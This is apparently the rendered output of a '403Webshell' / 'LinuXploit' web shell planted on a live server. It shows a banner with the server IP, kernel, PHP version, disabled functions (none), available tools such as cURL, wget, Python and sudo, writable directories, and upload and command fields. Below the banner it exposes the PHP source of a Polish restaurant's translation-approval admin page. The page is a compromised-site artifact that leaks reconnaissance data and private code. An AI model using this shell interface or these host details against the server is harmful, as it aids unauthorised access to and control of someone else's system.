403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v11-podstrony.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
require_once dirname(__DIR__).'/includes/polana_v11_lang.php';
function p11_schema(): void {
 db()->exec("CREATE TABLE IF NOT EXISTS polana_v11_page_locales (
  path VARCHAR(180) NOT NULL, lang CHAR(2) NOT NULL,
  ready TINYINT(1) NOT NULL DEFAULT 0,
  reviewed_at DATETIME NULL,
  PRIMARY KEY(path,lang)
 ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci");
}
p11_schema();
$pages=['/'=>'Strona główna','/menu'=>'Menu','/andrzej-polan'=>'Andrzej Polan','/kontakt'=>'Kontakt',
 '/rezerwacja'=>'Rezerwacje','/galeria'=>'Galeria','/alergeny'=>'Alergeny',
 '/polityka-prywatnosci'=>'Prywatność','/blog'=>'Blog','/wspolpraca'=>'Współpraca'];
$error='';
if($_SERVER['REQUEST_METHOD']==='POST'){
 verify_csrf();
 try{
  $path=(string)($_POST['path']??'');$lang=(string)($_POST['lang']??'');
  if(!array_key_exists($path,$pages)||!in_array($lang,['en','de','es'],true))throw new RuntimeException('Nieprawidłowa strona lub język');
  $ready=(($_POST['action']??'')==='approve')?1:0;
  $q=db()->prepare('INSERT INTO polana_v11_page_locales(path,lang,ready,reviewed_at) VALUES (?,?,?,IF(?=1,NOW(),NULL)) ON DUPLICATE KEY UPDATE ready=VALUES(ready),reviewed_at=VALUES(reviewed_at)');
  $q->execute([$path,$lang,$ready,$ready]);
  admin_log('v11_language_review',$path.' '.$lang.' => '.$ready);
  header('Location: polana-v11-podstrony.php',true,303);exit;
 }catch(Throwable $e){$error=$e->getMessage();}
}
render_admin_header('Podstrony i języki — V11');
?>
<style>.p11-outer{max-width:1200px;margin:20px auto;padding:12px}.p11-table{width:100%;border-collapse:collapse}.p11-table td,.p11-table th{border-bottom:1px solid #ddd;padding:11px;vertical-align:top;text-align:left}.p11-badge{display:inline-block;background:#e5f6e9;color:#23522a;padding:3px 8px;border-radius:9px}.p11-form{display:inline}.p11-action{border:1px solid #aaa;border-radius:6px;padding:7px;background:#fafafa;cursor:pointer}.p11-action.approve{background:#2f643b;color:white;border:0}</style>
<main class="p11-outer"><h1>Wersje językowe podstron</h1>
<p>PL jest oryginałem. Kliknij <b>Sprawdź stronę</b>, sprawdź pełną treść na komputerze i telefonie, a dopiero potem <b>Zatwierdź pod SEO</b>. To jest kontrola gotowości językowej — <b>nie zastępuje tłumaczenia podstrony</b>.</p>
<?php if($error): ?><p style="color:#b22"><?= e($error) ?></p><?php endif; ?>
<div style="overflow-x:auto"><table class="p11-table"><thead><tr><th>Podstrona</th><th>EN</th><th>DE</th><th>ES</th></tr></thead><tbody>
<?php foreach($pages as $path=>$label): ?><tr><th><?= e($label) ?><small style="display:block"><?= e($path) ?></small></th>
<?php foreach(['en','de','es'] as $lang): ?>
<td>
<a href="<?= e(p11_path($path,$lang)) ?>" target="_blank" rel="noopener">Sprawdź stronę ↗</a><br>
<?php $ready=p11_page_ready($path,$lang); ?>
<?php if($ready): ?><span class="p11-badge">SEO gotowe</span><?php endif; ?>
<form class="p11-form" method="post"><?= csrf_field() ?><input type="hidden" name="path" value="<?= e($path) ?>"><input type="hidden" name="lang" value="<?= e($lang) ?>">
<button class="p11-action <?= $ready?'':'approve' ?>" name="action" value="<?= $ready?'revoke':'approve' ?>" onclick="return confirm('<?= $ready?'Wycofać zatwierdzenie strony?':'Potwierdzasz, że cała podstrona została przetłumaczona i sprawdzona?' ?>')"><?= $ready?'Cofnij':'Zatwierdź pod SEO' ?></button>
</form>
</td>
<?php endforeach; ?></tr><?php endforeach; ?>
</tbody></table></div>
<p><strong>Artykuły bloga:</strong> ich wersje EN/DE/ES zostaną dodane do sitemap automatycznie, gdy mają zatwierdzone tytuły i treści oraz są już opublikowane. Samo przetłumaczenie szkicu nie publikuje go przed terminem.</p>
<p><a href="/admin/polana-v11-harmonogram.php">Harmonogram 40 wpisów →</a> · <a href="/admin/v9-review.php">Centrum tłumaczeń →</a></p>
</main>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit